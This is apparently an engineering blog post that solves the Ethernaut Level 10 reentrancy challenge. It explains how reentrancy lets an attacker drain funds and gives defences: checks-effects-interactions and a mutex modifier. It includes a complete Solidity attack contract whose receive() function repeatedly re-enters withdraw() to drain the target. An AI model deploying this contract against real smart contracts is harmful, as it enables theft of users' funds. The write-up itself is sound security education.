Reentrancy in Smart Contracts — Ethernaut Level 10

Joshua Moore
DraftKings Engineering
4 min readNov 14, 2022

One of the most common vulnerabilities to be aware of when developing smart contracts is reentrancy. This article will go over how to solve The Ethernaut Level 10 — Reentrancy. It will also provide details on how reentrancy works and what you can do to prevent it.

Identifying Reentrancy

So what is reentrancy specifically in smart contract development and why is it so dangerous? Reentrancy is the ability to use fallback functions from an attacking contract that recursively call a function to the target contract before it finishes execution. This can result in potentially draining funds or other undesirable changes in your smart contract’s state. Take a look at the snippet from the Ethernaut problem which is a perfect example of a function that is vulnerable to a reentrancy attack:

Ethernaut Level 10 Vulnerability Example

From the following snippet, you can see the steps in which the function executes:

  1. The function has a conditional to check the balance of the caller
  2. Then, it sends the requested amount to the caller
  3. Finally, it subtracts the amount sent from the caller’s balance

If you are unfamiliar with reentrancy in smart contracts, this could look fine at first glance. There is, however, a major flaw with the order in which this function resolves. Because the contract sends funds before subtracting from the caller’s balance, an attacker is able to re-enter the withdraw function continuously. Since the conditional argument passing the subtraction to the balance has not been executed, the attacker could ultimately drain the entire contract. An example of this vulnerability being exploited is the 2016 attack on The DAO, leading to a $3.6 million ether heist, which ultimately led to a controversial hard fork.

The Attack

Now that the vulnerability has been identified, let’s take a look at how to go about exploiting it. Solidity has built in fallback mechanisms a developer can define to execute code when:

  1. A non-existing function signature is called
  2. A native token is received with no data attached

Since Solidity 0.6.x, the fallback function has been split into two separate functions:

  1. receive() external payable — for receiving empty call data
  2. fallback() — when no function signature matches (commonly used in proxies)

By utilizing the receive() function, the attacker can run code when receiving an Ethereum Virtual Machine (EVM) chain’s native token without any call data. In a reentrancy attack, the attacker can use this fallback to recursively re-enter the target contract’s function and drain it before it finishes resolving.

Let’s take a look at the receive function the attacker would use to exploit the vulnerability in the previous code snippet:

Ethernaut Level 10 Attack Example

As illustrated in the above snippet, the attacker utilizes the receive fallback triggered from the initial withdrawal in the previous snippet, ensures the balance of the target contract is greater than the amount the attack is trying to withdraw, and proceeds to re-enter it. This attack will loop until the contract is drained. Because these calls happen before the attacker’s balance is ever subtracted, it will continue to execute without reverting.

An example loop of how an attacker re-enters the Ethernaut Level 10 Reentrancy problem.
Reentrancy Loop

By having an understanding of how functions execute as well as the ability to execute a fallback, Ethernaut Level 10 can be easily solved.

Solution to Ethernaut Level 10

Finally, to solve the Ethernaut problem, you’ll need to create a smart contract that allows you to initially fund the target contract and the ability to trigger the target contract’s withdrawal function, which then begins the reentrancy loop. Once that is complete, you’ll want to add a withdrawal function in your attack contract that will allow you to withdraw the funds or trigger a withdrawal once it has finished executing the final withdrawal (optional).

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external returns (uint);
}
contract Attack {
IReentrance reentrant;
address owner;
constructor(address _instance) payable {
owner = msg.sender;
reentrant = IReentrance(_instance);
reentrant.donate{value:msg.value}(address(this));
}
function withdrawInit() public {
reentrant.withdraw(reentrant.balanceOf(address(this)));
}
function withdrawBalance() public {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
if(address(reentrant).balance >= reentrant.balanceOf(address(this)))
{
reentrant.withdraw(reentrant.balanceOf(address(this)));
}
}
}

How to Prevent Against Reentrancy

Now that you’ve defeated Level 10, let’s take a look at how we can modify this code to get rid of the reentrancy vulnerability.

Checks, Effects, Interactions pattern

For single function reentrancy protection, a simple and effective way to go about preventing attacks is following the checks-effects-interactions pattern. This pattern follows this order of execution:

  1. Perform checks, usually require statements which will revert if they don’t pass
  2. Resolve all effects that change any state variables of the contract
  3. Perform functions that can communicate with external contracts last (including transferring funds)

A simple code refactoring of the initial withdraw function following this pattern would look something like this:

Checks-Effects-Interactions on Withdraw

In this example, we check the balance of the sender, subtract from the balance, and transfer the funds. The attacker contract will no longer be able to withdraw more than the balance it has stored in the target contract.

Using a Mutex

Another common and useful approach, especially where a multi-function reentrancy vulnerability may occur, is using a mutex. This is the process of setting a flag to prevent functions from being re-entered within the same call.

An example, although we’ve already resolved the issue using checks-effects-interactions, would be something like this:

Using a mutex to prevent against reentrancy

In this example, we add a function modifier as well as a state variable flag which:

  1. Requires the new state boolean flag “lock” to be false
  2. Sets “lock” to true
  3. Executes the function, with lock true (line #6 “_;” inserts the code of the function being modified)
  4. Sets lock to false, unlocking the ability to enter the function again

In Conclusion

Reentrancy vulnerabilities are common and easy to miss. With only a few lines of code, both projects and user’s funds can be stolen. Using proper techniques, protecting smart contracts from such threats is simple and effective.

--

--